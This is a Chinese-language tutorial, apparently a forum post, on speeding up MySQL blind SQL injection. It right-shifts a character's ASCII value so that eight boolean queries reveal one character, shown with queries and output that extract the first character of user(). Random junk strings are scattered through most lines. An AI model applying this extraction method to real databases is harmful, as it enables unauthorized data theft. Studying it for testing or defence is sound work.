关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

, `/ [( ]9 i4 E8 P' O! u- m
3 B: Z" ^5 m, a$ y8 o) K$ p
下面将以查询mysql数据库当中user()的第一位为例:

5 M4 v* \$ f( r& s9 c$ b2 Y8 p% Z" k
: l( P$ I0 l; t2 B9 S  S1 X9 f
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
3 f. ]7 d9 Z4 T( T1 v6 ~
8 @" a4 H! |( K0 K+ m; {

首先执行如下sql语句:
1 |7 _; H4 K# T7 I


: q0 x1 _4 N+ S% B: C4 H  xmysql> select (ascii((substr(user(),1,1))) >> 7)=0;


) g( r5 J& C7 b' [0 U
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

% j5 h4 R% Q! a8 ^& S! K

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
& B% A5 B' U; y- }/ t, {% b- {


+ J+ B* S7 }/ u3 x7 O如果运算结果为1,说明第一位为0,不为1

5 y" I: I& Z2 ?5 N' T  v- K
, j" r6 g0 h; ?6 i8 l  U
+————————————–+
  x3 _- K6 }6 G6 d0 ^$ p( {
6 ~, Q6 x3 l' F( Y' l6 ?| (ascii((substr(user(),1,1))) >> 7)=0 |
* H: b0 |4 t2 c$ ~% h6 [
3 I1 }0 ]7 x/ D- S2 I+————————————–+

1 ]: _! J+ A2 Y3 Z| 1 |
# `% w" Q6 C) V* a
/ x* ~' R+ [1 N4 Z' a. ~- u0 @+————————————–+

8 T& V9 r, \+ V% J. m1 row in set (0.00 sec)
8 V( \) O# V$ y5 a7 F9 H8 C" l6 s
这样我们就确定这个8bit的ascii的第一位为0



  I0 g0 T+ Y+ @2 F  A/ G第二次我们来做6次右偏移来确定前两位

% G4 |$ K3 ?* D7 U. l

前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
' j+ w! d& K" k3 E. `9 ?
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

9 ]* Y4 E) @3 k6 G( d% F! z| 0 |

4 [8 k: ~/ O# V' K" c+————————————–+

1 row in set (0.00 sec)



结果为0,即第二位为1

  ~$ q/ U9 m) N( U; _
: S0 I' w' n/ h8 q7 i9 l
- n, [/ Q7 }  O: Q' t, h开始猜测前三位为010或011

8 Y7 L. g, z" v9 E* Z; A7 `; @3 R

让我们看看010和011的ascii码是多少

- z+ @) C' U+ q" ]" T' _5 x" f; E. O
$ C0 k  ^8 Y6 ?3 c- d+ C2 L
分别查询select b’011′ select b’010′
& x9 a( \: t' e; v! }1 F


获得结果 010 = 2 011 = 3
: v+ n$ F; c& {) u: U& x( c


执行如下sql:


8 d' Q( K" Z. o: j
. P& s  z2 G4 f/ m8 }: f8 Jmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
  y; f8 q! m5 d5 M; G6 A: H) s
+————————————–+
0 O# M# ~4 o. l& @" l8 O* L
| (ascii((substr(user(),1,1))) >> 5)=2 |
. h  C5 i$ V/ C2 f/ l" Y
4 w0 u5 t" ]0 X$ @8 J. h5 R/ u$ A+————————————–+
9 g1 ]2 H! A3 g
- q5 e# n6 d! O| 0 |

+————————————–+
3 F7 ?; d' m  e
& Y2 f! |5 q% y  ^. x0 X0 Y- W+ B即前三位不为010,而是011

/ z7 G9 q3 s) {- b

直到获得最后一位



最终结果为:01110010


4 b( |' H  z: B' |/ E: t7 U+ b$ [
! M& l) }! ~4 S0 c" [& H转换一下:

1 O  I& x4 l1 T6 p$ i8 {% a

select b’01110010′

, ^; a9 w4 `  ?! o6 B1 t* t  o4 O
' A  C& R4 F% C& r8 R
查询结果


4 E: k$ p& V0 i# @) O( H0 g
+————-+

& D8 k: s6 W% _+ X: K* P| b’01110010′ |
! H( P6 k. Y$ W, I. q
- k+ o) U# x2 m# u$ N* U* X' ]+ q( Q: R+————-+

| r |
' p" J% c1 g# V3 ~
, S$ ^5 j. M. Q+————-+
/ ]5 j' C- Y$ ^% q
1 row in set (0.00 sec)


, a# Q% u% j6 l
1 l) J/ G0 N$ L这样我们就获得了user()的第一位.其它位依此类推